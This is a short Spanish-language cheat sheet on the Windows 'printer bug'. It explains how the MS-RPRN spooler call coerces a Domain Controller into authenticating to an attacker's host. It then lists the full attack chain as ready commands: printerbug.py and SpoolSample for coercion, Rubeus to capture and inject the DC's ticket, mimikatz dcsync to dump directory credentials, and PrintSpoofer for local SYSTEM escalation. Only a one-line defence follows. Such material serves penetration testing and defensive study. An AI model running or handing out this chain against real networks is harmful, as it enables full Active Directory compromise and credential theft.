Qué es
El printer bug abusa de una función del servicio de impresión (spooler) para forzar a un objetivo, casi siempre un Domain Controller, a autenticarse contra un host que tú eliges. La autenticación llega como la cuenta de máquina del objetivo. Con eso capturas su ticket y escalas hasta comprometer el bosque.
Cómo funciona
El spooler expone el protocolo MS-RPRN sobre el named pipe \pipe\spoolss.
Llamas a RpcRemoteFindFirstPrinterChangeNotification para pedirle al objetivo
que avise de cambios de impresión. Esa llamada deja que quien llama elija la
dirección del cliente al que avisar. El spooler se conecta a esa dirección y se
autentica ahí. Nadie valida si tienes permiso para redirigir esa autenticación.
No rompes la autenticación: eliges su destino. Y llega como la cuenta de máquina
(SYSTEM); la de un Domain Controller puede replicar el directorio.
Comandos
Forzar la autenticación del objetivo, desde Linux (Impacket):
printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<HOST> <IP>Lo mismo desde Windows (SpoolSample):
SpoolSample.exe <HOST> <IP>Capturar el TGT en el host con Unconstrained Delegation (Rubeus):
Rubeus.exe monitor /interval:5 /filteruser:<HOST>$Inyectar el ticket capturado en la sesión actual:
Rubeus.exe ptt /ticket:<FILE>Replicar el directorio con el ticket del Domain Controller (mimikatz):
mimikatz.exe "lsadump::dcsync /domain:<DOMAIN> /user:<USER>" exitVariante local: con SeImpersonate en el host, conviertes la conexión SYSTEM en un proceso SYSTEM:
PrintSpoofer.exe -i -c cmdCómo defenderse
Desactiva el servicio Print Spooler en los Domain Controllers: quita la variante más peligrosa del ataque.